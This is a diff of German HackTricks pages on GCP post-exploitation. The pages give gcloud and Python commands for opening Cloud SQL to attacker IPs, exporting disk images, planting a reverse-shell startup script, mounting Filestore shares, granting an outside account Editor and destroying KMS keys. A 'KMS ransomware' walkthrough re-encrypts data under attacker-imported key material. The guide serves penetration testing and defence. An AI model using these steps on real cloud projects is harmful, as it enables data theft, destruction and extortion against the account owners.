|
||||
<details>
|
||||
|
||||
<summary>Squid-Service starten</summary>
|
||||
```bash
|
||||
sudo service squid start
|
||||
```
|
||||
Verwenden Sie ngrok, um den Proxy von außen verfügbar zu machen:
|
||||
</details>
|
||||
|
||||
Verwende ngrok, damit der Proxy von außen erreichbar ist:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Proxy mit ngrok freigeben</summary>
|
||||
```bash
|
||||
./ngrok tcp 3128
|
||||
```
|
||||
Nach dem Ausführen kopieren Sie die tcp:// URL. Wenn Sie den Proxy aus einem Browser ausführen möchten, wird empfohlen, den tcp:// Teil und den Port zu entfernen und den Port in das Portfeld Ihrer Browsereinstellungen für den Proxy einzufügen (squid ist ein HTTP-Proxy-Server).
|
||||
</details>
|
||||
|
||||
Für eine bessere Nutzung beim Start sollte die .bashrc-Datei die folgenden Zeilen enthalten:
|
||||
Nachdem Sie es ausgeführt haben, kopieren Sie die tcp:// URL. Wenn Sie den Proxy im Browser verwenden möchten, empfiehlt es sich, den tcp://-Teil und den Port zu entfernen und den Port in das Portfeld Ihrer Browser-Proxy-Einstellungen einzutragen (squid ist ein HTTP-Proxy-Server).
|
||||
|
||||
Für die Nutzung beim Start sollte die Datei .bashrc die folgenden Zeilen enthalten:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>In .bashrc für automatischen Start einfügen</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
sudo cp squid.conf /etc/squid/
|
||||
sudo service squid start
|
||||
cd ngrok;./ngrok tcp 3128
|
||||
```
|
||||
Die Anweisungen wurden von [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) kopiert. Überprüfen Sie diese Seite für weitere verrückte Ideen, um jede Art von Software (Datenbanken und sogar Windows) im Cloud Shell auszuführen.
|
||||
</details>
|
||||
|
||||
Die Anweisungen wurden von [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) kopiert. Siehe diese Seite für weitere verrückte Ideen, um jede Art von Software (Datenbanken und sogar Windows) in Cloud Shell auszuführen.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+66
-12
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud SQL
|
||||
|
||||
Für weitere Informationen zu Cloud SQL siehe:
|
||||
Für weitere Informationen über Cloud SQL siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-sql-enum.md
|
||||
@@ -12,7 +12,11 @@ Für weitere Informationen zu Cloud SQL siehe:
|
||||
|
||||
### `cloudsql.instances.update`, ( `cloudsql.instances.get`)
|
||||
|
||||
Um eine Verbindung zu den Datenbanken herzustellen, **benötigen Sie nur Zugriff auf den Datenbankport** und müssen den **Benutzernamen** und das **Passwort** kennen, es gibt keine IAM-Anforderungen. Eine einfache Möglichkeit, Zugriff zu erhalten, vorausgesetzt, die Datenbank hat eine öffentliche IP-Adresse, besteht darin, die erlaubten Netzwerke zu aktualisieren und **Ihre eigene IP-Adresse den Zugriff zu erlauben**.
|
||||
Um eine Verbindung zu den Datenbanken herzustellen, benötigst du **nur Zugriff auf den Datenbankport** und musst den **Benutzernamen** und das **Passwort** kennen; es gibt keine IAM-Anforderungen. Eine einfache Möglichkeit, Zugriff zu erhalten, vorausgesetzt die Datenbank hat eine öffentliche IP-Adresse, ist, die erlaubten Netzwerke zu aktualisieren und **deine eigene IP-Adresse zu erlauben**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Eigene IP erlauben und mit der Datenbank verbinden</summary>
|
||||
```bash
|
||||
# Use --assign-ip to make the database get a public IPv4
|
||||
gcloud sql instances patch $INSTANCE_NAME \
|
||||
@@ -25,61 +29,111 @@ mysql -h <ip_db> # If mysql
|
||||
# With cloudsql.instances.get you can use gcloud directly
|
||||
gcloud sql connect mysql --user=root --quiet
|
||||
```
|
||||
Es ist auch möglich, **`--no-backup`** zu verwenden, um die **Backups** der Datenbank zu **stören**.
|
||||
</details>
|
||||
|
||||
Da dies die Anforderungen sind, bin ich mir nicht ganz sicher, wofür die Berechtigungen **`cloudsql.instances.connect`** und **`cloudsql.instances.login`** gedacht sind. Wenn du es weißt, sende einen PR!
|
||||
Es ist auch möglich, **`--no-backup`** zu verwenden, um die Backups der Datenbank zu **stören**.
|
||||
|
||||
Da dies die Anforderungen sind, bin ich mir nicht ganz sicher, wofür die Berechtigungen **`cloudsql.instances.connect`** und **`cloudsql.instances.login`** sind. Wenn du es weißt, sende einen PR!
|
||||
|
||||
### `cloudsql.users.list`
|
||||
|
||||
Erhalte eine **Liste aller Benutzer** der Datenbank:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Datenbankbenutzer auflisten</summary>
|
||||
```bash
|
||||
gcloud sql users list --instance <intance-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.users.create`
|
||||
|
||||
Diese Berechtigung erlaubt es, **einen neuen Benutzer innerhalb** der Datenbank zu **erstellen**:
|
||||
Diese Berechtigung erlaubt es, **einen neuen Benutzer in der Datenbank zu erstellen**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Datenbankbenutzer erstellen</summary>
|
||||
```bash
|
||||
gcloud sql users create <username> --instance <instance-name> --password <password>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.users.update`
|
||||
|
||||
Diese Berechtigung erlaubt es, **Benutzer innerhalb** der Datenbank zu **aktualisieren**. Zum Beispiel könnten Sie das Passwort ändern:
|
||||
Diese Berechtigung erlaubt es, einen Benutzer in der Datenbank zu **aktualisieren**. Zum Beispiel könnten Sie dessen Passwort ändern:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Benutzerpasswort aktualisieren</summary>
|
||||
```bash
|
||||
gcloud sql users set-password <username> --instance <instance-name> --password <password>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`
|
||||
|
||||
Backups könnten **alte sensible Informationen** enthalten, daher ist es interessant, sie zu überprüfen.\
|
||||
**Stellen Sie ein Backup** in einer Datenbank wieder:
|
||||
Backups können **alte sensible Informationen** enthalten, daher lohnt es sich, sie zu prüfen.\
|
||||
**Backup in einer Datenbank wiederherstellen:**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Datenbank-Backup wiederherstellen</summary>
|
||||
```bash
|
||||
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
|
||||
```
|
||||
Um es auf eine stealthy Weise zu tun, wird empfohlen, eine neue SQL-Instanz zu erstellen und die Daten dort wiederherzustellen, anstatt in den derzeit laufenden Datenbanken.
|
||||
</details>
|
||||
|
||||
Um es unauffälliger zu machen, wird empfohlen, eine neue SQL-Instanz zu erstellen und die Daten dort wiederherzustellen, anstatt in den aktuell laufenden Datenbanken.
|
||||
|
||||
### `cloudsql.backupRuns.delete`
|
||||
|
||||
Diese Berechtigung erlaubt das Löschen von Backups:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Backup löschen</summary>
|
||||
```bash
|
||||
gcloud sql backups delete <backup-id> --instance <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.export`, `storage.objects.create`
|
||||
|
||||
**Exportieren Sie eine Datenbank** in einen Cloud Storage Bucket, damit Sie von dort darauf zugreifen können:
|
||||
**Eine Datenbank exportieren** in einen Cloud Storage Bucket, damit du von dort darauf zugreifen kannst:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Datenbank in Bucket exportieren</summary>
|
||||
```bash
|
||||
# Export sql format, it could also be csv and bak
|
||||
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.import`, `storage.objects.get`
|
||||
|
||||
**Importieren Sie eine Datenbank** (überschreiben) aus einem Cloud Storage Bucket:
|
||||
**Datenbank importieren** (überschreiben) aus einem Cloud Storage Bucket:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Datenbank aus einem Bucket importieren</summary>
|
||||
```bash
|
||||
# Import format SQL, you could also import formats bak and csv
|
||||
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.databases.delete`
|
||||
|
||||
Löschen Sie eine Datenbank aus der DB-Instanz:
|
||||
Eine Datenbank aus der DB-Instanz löschen:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Datenbank löschen</summary>
|
||||
```bash
|
||||
gcloud sql databases delete <db-name> --instance <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+82
-22
@@ -10,31 +10,41 @@ Für weitere Informationen zu Compute und VPC (Networking) siehe:
|
||||
../gcp-services/gcp-compute-instances-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Exportieren & Inspektieren von Bildern lokal
|
||||
### Images exportieren & lokal untersuchen
|
||||
|
||||
Dies würde einem Angreifer ermöglichen, **auf die Daten in bereits vorhandenen Bildern zuzugreifen** oder **neue Bilder von laufenden VMs zu erstellen** und auf deren Daten zuzugreifen, ohne Zugriff auf die laufende VM zu haben.
|
||||
Dies würde einem Angreifer ermöglichen, **auf die in bereits vorhandenen Images enthaltenen Daten zuzugreifen** oder **neue Images laufender VMs zu erstellen** und auf deren Daten zuzugreifen, ohne Zugriff auf die laufende VM zu haben.
|
||||
|
||||
Es ist möglich, ein VM-Bild in einen Bucket zu exportieren und es dann herunterzuladen und lokal mit dem Befehl zu mounten:
|
||||
Es ist möglich, ein VM-Image in einen bucket zu exportieren und es dann herunterzuladen und lokal zu mounten mit dem Befehl:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>VM-Image exportieren und herunterladen</summary>
|
||||
```bash
|
||||
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
|
||||
# The download the export from the bucket and mount it locally
|
||||
```
|
||||
Um diese Aktion auszuführen, benötigt der Angreifer möglicherweise Berechtigungen für den Speicher-Bucket und auf jeden Fall **Berechtigungen für cloudbuild**, da es der **Dienst** ist, der aufgefordert wird, den Export durchzuführen.\
|
||||
Darüber hinaus müssen für das Funktionieren der Codebuild SA und der Compute SA privilegierte Berechtigungen vorhanden sein.\
|
||||
Die Cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` benötigt:
|
||||
</details>
|
||||
|
||||
Für die Ausführung dieser Aktion benötigt der Angreifer möglicherweise Berechtigungen für den Storage-Bucket und auf jeden Fall **Berechtigungen für cloudbuild**, da dieser **Service** angefragt wird, den Export durchzuführen\
|
||||
Außerdem benötigen dafür das codebuild SA und das compute SA erhöhte Berechtigungen.\
|
||||
Das cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` benötigt:
|
||||
|
||||
- roles/iam.serviceAccountTokenCreator
|
||||
- roles/compute.admin
|
||||
- roles/iam.serviceAccountUser
|
||||
|
||||
Und die SA `<project-id>-compute@developer.gserviceaccount.com` benötigt:
|
||||
Und das SA `<project-id>-compute@developer.gserviceaccount.com` benötigt:
|
||||
|
||||
- roles/compute.storageAdmin
|
||||
- oles/compute.storageAdmin
|
||||
- roles/storage.objectAdmin
|
||||
|
||||
### Exportieren & Überprüfen von Snapshots & Festplatten lokal
|
||||
### Snapshots & Disks lokal exportieren und untersuchen
|
||||
|
||||
Es ist nicht möglich, Snapshots und Festplatten direkt zu exportieren, aber es ist möglich, **einen Snapshot in eine Festplatte, eine Festplatte in ein Image** zu **transformieren** und gemäß dem **vorherigen Abschnitt** dieses Image zu exportieren, um es lokal zu überprüfen.
|
||||
Es ist nicht möglich, Snapshots und Disks direkt zu exportieren, aber es ist möglich, **einen Snapshot in eine Disk zu verwandeln, eine Disk in ein Image** und entsprechend der **vorherigen Sektion** dieses Image zu exportieren, um es lokal zu untersuchen
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Disk aus Snapshot erstellen und Image aus Disk</summary>
|
||||
```bash
|
||||
# Create a Disk from a snapshot
|
||||
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
|
||||
@@ -42,65 +52,115 @@ gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --
|
||||
# Create an image from a disk
|
||||
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
|
||||
```
|
||||
### Inspect an Image creating a VM
|
||||
</details>
|
||||
|
||||
Mit dem Ziel, auf die **Daten, die in einem Image gespeichert sind** oder innerhalb einer **laufenden VM**, von wo ein Angreifer **ein Image erstellt hat,** zuzugreifen, ist es möglich, einem externen Konto Zugriff auf das Image zu gewähren:
|
||||
### Ein Image prüfen und daraus eine VM erstellen
|
||||
|
||||
Um auf die **data stored in an image** oder innerhalb einer **running VM** zuzugreifen, von der ein Angreifer **has created an image**, ist es möglich, einem externen Konto Zugriff auf das image zu gewähren:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Zugriff auf image gewähren und VM erstellen</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
|
||||
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
|
||||
--role='roles/compute.imageUser'
|
||||
```
|
||||
</details>
|
||||
|
||||
und dann eine neue VM daraus erstellen:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>VM-Instanz aus Image erstellen</summary>
|
||||
```bash
|
||||
gcloud compute instances create [INSTANCE_NAME] \
|
||||
--project=[TARGET_PROJECT_ID] \
|
||||
--zone=[ZONE] \
|
||||
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
|
||||
```
|
||||
Wenn Sie Ihrem externen Konto keinen Zugriff über das Image gewähren konnten, könnten Sie eine VM mit diesem Image im Projekt des Opfers starten und **die Metadaten dazu bringen, eine Reverse-Shell auszuführen**, um auf das Image zuzugreifen, indem Sie den Parameter hinzufügen:
|
||||
</details>
|
||||
|
||||
Wenn du deinem externen Account keinen Zugriff auf das image geben konntest, könntest du eine VM mit diesem image im Projekt des Opfers starten und **die metadata so setzen, dass eine reverse shell ausgeführt wird**, um auf das image zuzugreifen, indem du den Param hinzufügst:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>VM mit reverse shell in metadata erstellen</summary>
|
||||
```bash
|
||||
--metadata startup-script='#! /bin/bash
|
||||
echo "hello"; <reverse shell>'
|
||||
```
|
||||
### Überprüfen eines Snapshots/Disks, indem er an eine VM angehängt wird
|
||||
</details>
|
||||
|
||||
Mit dem Ziel, auf die **Daten, die auf einem Disk oder einem Snapshot gespeichert sind, zuzugreifen, könnten Sie den Snapshot in einen Disk, einen Disk in ein Image umwandeln und die vorherigen Schritte befolgen.**
|
||||
### Untersuche einen Snapshot/Disk, indem du ihn an eine VM anhängst
|
||||
|
||||
Oder Sie könnten **einem externen Konto Zugriff** auf den Disk gewähren (wenn der Ausgangspunkt ein Snapshot ist, gewähren Sie Zugriff auf den Snapshot oder erstellen Sie einen Disk daraus):
|
||||
Um auf die **in einem disk oder einem snapshot gespeicherten Daten zuzugreifen, kannst du den snapshot in ein disk umwandeln, ein disk in ein image konvertieren und den vorherigen Schritten folgen.**
|
||||
|
||||
Oder du könntest einem externen Account **Zugriff gewähren** über das disk (wenn der Ausgangspunkt ein snapshot ist, gewähre Zugriff auf den snapshot oder erstelle daraus ein disk):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Zugriff auf disk gewähren</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT_ID] \
|
||||
--member='user:[USER_EMAIL]' \
|
||||
--role='roles/compute.storageAdmin'
|
||||
```
|
||||
**Hängen Sie die Festplatte** an eine Instanz an:
|
||||
</details>
|
||||
|
||||
**Die Festplatte an eine Instanz anhängen**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Festplatte an Instanz anhängen</summary>
|
||||
```bash
|
||||
gcloud compute instances attach-disk [INSTANCE_NAME] \
|
||||
--disk [DISK_NAME] \
|
||||
--zone [ZONE]
|
||||
```
|
||||
Mounten Sie die Festplatte innerhalb der VM:
|
||||
</details>
|
||||
|
||||
Die Festplatte innerhalb der VM mounten:
|
||||
|
||||
1. **SSH in die VM**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Per SSH in die VM und Disk mounten</summary>
|
||||
|
||||
```sh
|
||||
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
|
||||
```
|
||||
|
||||
2. **Identifizieren Sie die Festplatte**: Sobald Sie in der VM sind, identifizieren Sie die neue Festplatte, indem Sie die Festplattengeräte auflisten. Typischerweise finden Sie sie als `/dev/sdb`, `/dev/sdc` usw.
|
||||
3. **Formatieren und Mounten der Festplatte** (wenn es sich um eine neue oder rohe Festplatte handelt):
|
||||
</details>
|
||||
|
||||
2. **Disk identifizieren**: Sobald Sie in der VM sind, identifizieren Sie die neue Disk, indem Sie die Geräte auflisten. Typischerweise finden Sie sie als `/dev/sdb`, `/dev/sdc` usw.
|
||||
3. **Disk formatieren und mounten** (falls es sich um eine neue oder rohe Disk handelt):
|
||||
|
||||
- Erstellen Sie einen Mount-Punkt:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mount-Punkt erstellen und mounten</summary>
|
||||
|
||||
```sh
|
||||
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
|
||||
- Mounten Sie die Festplatte:
|
||||
</details>
|
||||
|
||||
- Disk mounten:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Disk-Gerät mounten</summary>
|
||||
|
||||
```sh
|
||||
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
|
||||
Wenn Sie **keinen Zugriff auf ein externes Projekt** für den Snapshot oder die Festplatte gewähren können, müssen Sie möglicherweise **diese Aktionen innerhalb einer Instanz im selben Projekt wie der Snapshot/die Festplatte** durchführen.
|
||||
</details>
|
||||
|
||||
Wenn Sie **einem externen Projekt keinen Zugriff** auf den Snapshot oder die Disk geben können, müssen Sie diese Aktionen möglicherweise **in einer Instanz im selben Projekt wie der Snapshot/die Disk** durchführen.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+31
-7
@@ -12,7 +12,11 @@ Für weitere Informationen über Filestore siehe:
|
||||
|
||||
### Mount Filestore
|
||||
|
||||
Ein gemeinsames Dateisystem **könnte sensible Informationen enthalten**, die aus der Perspektive eines Angreifers interessant sind. Mit Zugriff auf den Filestore ist es möglich, ihn **zu mounten**:
|
||||
Ein gemeinsames Dateisystem **kann sensible Informationen enthalten**, die aus Sicht eines Angreifers interessant sind. Mit Zugriff auf das Filestore ist es möglich, es **zu mounten**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mount Filestore filesystem</summary>
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install nfs-common
|
||||
@@ -22,7 +26,9 @@ showmount -e <IP>
|
||||
mkdir /mnt/fs
|
||||
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
|
||||
```
|
||||
Um die IP-Adresse einer Filestore-Instanz zu finden, überprüfen Sie den Abschnitt zur Enumeration auf der Seite:
|
||||
</details>
|
||||
|
||||
Um die IP-Adresse einer Filestore-Instanz zu finden, prüfen Sie den enumeration-Abschnitt der Seite:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
@@ -30,7 +36,11 @@ Um die IP-Adresse einer Filestore-Instanz zu finden, überprüfen Sie den Abschn
|
||||
|
||||
### Einschränkungen entfernen und zusätzliche Berechtigungen erhalten
|
||||
|
||||
Wenn der Angreifer sich nicht in einer IP-Adresse mit Zugriff auf den Share befindet, Sie jedoch über genügend Berechtigungen verfügen, um ihn zu ändern, ist es möglich, die Einschränkungen oder den Zugriff darauf zu entfernen. Es ist auch möglich, weitere Berechtigungen für Ihre IP-Adresse zu gewähren, um Administratorzugriff auf den Share zu erhalten:
|
||||
Wenn sich der Angreifer nicht in einer IP-Adresse befindet, die Zugriff auf die Freigabe hat, Sie aber über ausreichende Berechtigungen verfügen, um sie zu ändern, ist es möglich, die Beschränkungen zu entfernen oder den Zugriff darauf zu erlauben. Es ist auch möglich, Ihrer IP-Adresse zusätzliche Privilegien zu gewähren, um Administratorzugriff auf die Freigabe zu erhalten:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Filestore-Instanz aktualisieren, um Zugriff zu erlauben</summary>
|
||||
```bash
|
||||
gcloud filestore instances update nfstest \
|
||||
--zone=<exact-zone> \
|
||||
@@ -56,9 +66,15 @@ gcloud filestore instances update nfstest \
|
||||
}
|
||||
}
|
||||
```
|
||||
### Wiederherstellung eines Backups
|
||||
</details>
|
||||
|
||||
Wenn ein Backup vorhanden ist, ist es möglich, es in einer bestehenden oder in einer neuen Instanz **wiederherzustellen**, sodass die **Informationen zugänglich werden:**
|
||||
### Backup wiederherstellen
|
||||
|
||||
Wenn ein backup vorhanden ist, ist es möglich, es in einer bestehenden oder in einer neuen Instanz zu **wiederherzustellen**, sodass seine **Informationen zugänglich werden:**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Neue Instanz erstellen und backup wiederherstellen</summary>
|
||||
```bash
|
||||
# Create a new filestore if you don't want to modify the old one
|
||||
gcloud filestore instances create <new-instance-name> \
|
||||
@@ -76,9 +92,15 @@ gcloud filestore instances restore <new-instance-name> \
|
||||
|
||||
# Follow the previous section commands to mount it
|
||||
```
|
||||
### Erstellen Sie ein Backup und stellen Sie es wieder her
|
||||
</details>
|
||||
|
||||
Wenn Sie **keinen Zugriff auf ein Share haben und es nicht ändern möchten**, ist es möglich, ein **Backup** davon zu **erstellen** und es wie zuvor erwähnt **wiederherzustellen**:
|
||||
### Backup erstellen und wiederherstellen
|
||||
|
||||
Wenn du **keinen Zugriff auf ein Share hast und es nicht ändern möchtest**, ist es möglich, **eine Sicherung davon zu erstellen** und **sie wie zuvor beschrieben wiederherzustellen**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Backup erstellen und in neuer Instanz wiederherstellen</summary>
|
||||
```bash
|
||||
# Create share backup
|
||||
gcloud filestore backups create <back-name> \
|
||||
@@ -89,4 +111,6 @@ gcloud filestore backups create <back-name> \
|
||||
|
||||
# Follow the previous section commands to restore it and mount it
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+13
-7
@@ -4,24 +4,30 @@
|
||||
|
||||
## IAM <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
Weitere Informationen zu IAM finden Sie in:
|
||||
Sie können weitere Informationen zu IAM finden in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Zugriff auf die Verwaltungs-Konsole gewähren <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
### Gewähren von Zugriff auf die Management-Konsole <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
|
||||
Zugriff auf die [GCP-Verwaltungskonsole](https://console.cloud.google.com) wird **Benutzerkonten, nicht Dienstkonten** gewährt. Um sich in die Weboberfläche einzuloggen, können Sie **Zugriff auf ein Google-Konto** gewähren, das Sie kontrollieren. Dies kann ein generisches "**@gmail.com**" Konto sein, es muss **kein Mitglied der Zielorganisation** sein.
|
||||
Der Zugriff auf die [GCP management console](https://console.cloud.google.com) wird **Benutzerkonten gewährt, nicht Servicekonten**. Um sich an der Weboberfläche anzumelden, können Sie **einem Google-Konto** das Sie kontrollieren, Zugriff gewähren. Dabei kann es sich um ein generisches "**@gmail.com**"-Konto handeln; es **muss kein Mitglied der Zielorganisation sein**.
|
||||
|
||||
Um jedoch die primitive Rolle des **Besitzers** einem generischen "@gmail.com" Konto zu **gewähren**, müssen Sie die **Webkonsole** verwenden. `gcloud` wird einen Fehler ausgeben, wenn Sie versuchen, ihm eine Berechtigung über Editor zu gewähren.
|
||||
Um einem generischen "@gmail.com"-Konto jedoch die primitive Rolle **Owner** zu **gewähren**, müssen Sie die **Webkonsole** verwenden. `gcloud` gibt einen Fehler aus, wenn Sie versuchen, ihm eine Berechtigung oberhalb von **Editor** zu gewähren.
|
||||
|
||||
Sie können den folgenden Befehl verwenden, um **einem Benutzer die primitive Rolle des Editors** für Ihr bestehendes Projekt zu **gewähren**:
|
||||
Sie können folgenden Befehl verwenden, um einem Benutzer die primitive Rolle **Editor** für Ihr bestehendes Projekt zu **gewähren**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Editor-Rolle an Benutzer vergeben</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
|
||||
```
|
||||
Wenn Sie hier erfolgreich waren, versuchen Sie **auf die Weboberfläche zuzugreifen** und von dort aus zu erkunden.
|
||||
</details>
|
||||
|
||||
Dies ist das **höchste Niveau, das Sie mit dem gcloud-Tool zuweisen können**.
|
||||
Wenn Sie hier erfolgreich waren, versuchen Sie, **die Weboberfläche aufzurufen** und dort zu erkunden.
|
||||
|
||||
Dies ist das **höchste Level, das Sie mit dem gcloud-Tool zuweisen können**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+40
-10
@@ -4,7 +4,7 @@
|
||||
|
||||
## KMS
|
||||
|
||||
Finden Sie grundlegende Informationen über KMS in:
|
||||
Grundlegende Informationen zu KMS findest du in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-kms-enum.md
|
||||
@@ -12,7 +12,11 @@ Finden Sie grundlegende Informationen über KMS in:
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.destroy`
|
||||
|
||||
Ein Angreifer mit dieser Berechtigung könnte eine KMS-Version zerstören. Um dies zu tun, müssen Sie zuerst den Schlüssel deaktivieren und dann ihn zerstören:
|
||||
Ein Angreifer mit dieser Berechtigung könnte eine KMS-Version zerstören. Dafür musst du zunächst den Schlüssel deaktivieren und danach zerstören:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Key-Version deaktivieren und zerstören (Python)</summary>
|
||||
```python
|
||||
# pip install google-cloud-kms
|
||||
|
||||
@@ -57,22 +61,28 @@ disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
# Destroy the key version
|
||||
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
```
|
||||
</details>
|
||||
|
||||
### KMS Ransomware
|
||||
|
||||
In AWS ist es möglich, einen KMS-Schlüssel vollständig zu **stehlen**, indem die KMS-Ressourcenrichtlinie geändert wird und nur das Konto des Angreifers die Verwendung des Schlüssels erlaubt. Da diese Ressourcenrichtlinien in GCP nicht existieren, ist dies nicht möglich.
|
||||
In AWS ist es möglich, vollständig einen **KMS-Schlüssel zu stehlen**, indem man die KMS-Ressourcenrichtlinie ändert und nur dem Konto des Angreifers erlaubt, den Schlüssel zu verwenden. Da diese Ressourcenrichtlinien in GCP nicht existieren, ist das nicht möglich.
|
||||
|
||||
Es gibt jedoch einen anderen Weg, um ein globales KMS-Ransomware durchzuführen, der die folgenden Schritte umfasst:
|
||||
Allerdings gibt es einen anderen Weg, ein globales KMS Ransomware durchzuführen, der die folgenden Schritte umfassen würde:
|
||||
|
||||
- Erstellen Sie eine neue **Version des Schlüssels mit einem vom Angreifer importierten Schlüsselmaterial**.
|
||||
- Erstelle eine neue **Version des Schlüssels mit Schlüsselmaterial**, das vom Angreifer importiert wurde
|
||||
```bash
|
||||
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
|
||||
```
|
||||
- Setze es als **Standardversion** (für zukünftige Daten, die verschlüsselt werden)
|
||||
- **Verschlüssele ältere Daten** erneut, die mit der vorherigen Version verschlüsselt wurden, mit der neuen.
|
||||
- **Lösche den KMS-Schlüssel**
|
||||
- Jetzt kann nur der Angreifer, der das ursprüngliche Schlüsselmaterial hat, die verschlüsselten Daten entschlüsseln
|
||||
- Setze es als **Standardversion** (für zukünftig verschlüsselte Daten)
|
||||
- **Ältere Daten neu verschlüsseln**, die mit der vorherigen Version verschlüsselt wurden, mit der neuen Version.
|
||||
- **Den KMS-Schlüssel löschen**
|
||||
- Nun könnte nur noch der Angreifer, der das ursprüngliche Schlüsselmaterial besitzt, in der Lage sein, die verschlüsselten Daten zu entschlüsseln
|
||||
|
||||
#### Hier sind die Schritte, um eine neue Version zu importieren und die ältere Daten zu deaktivieren/löschen:
|
||||
#### Hier sind die Schritte, um eine neue Version zu importieren und die älteren Daten zu deaktivieren/löschen:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Neue Schlüsselversion importieren und alte Version löschen</summary>
|
||||
```bash
|
||||
# Encrypt something with the original key
|
||||
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
|
||||
@@ -146,7 +156,13 @@ gcloud kms keys versions destroy \
|
||||
--version 1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
|
||||
|
||||
<details>
|
||||
|
||||
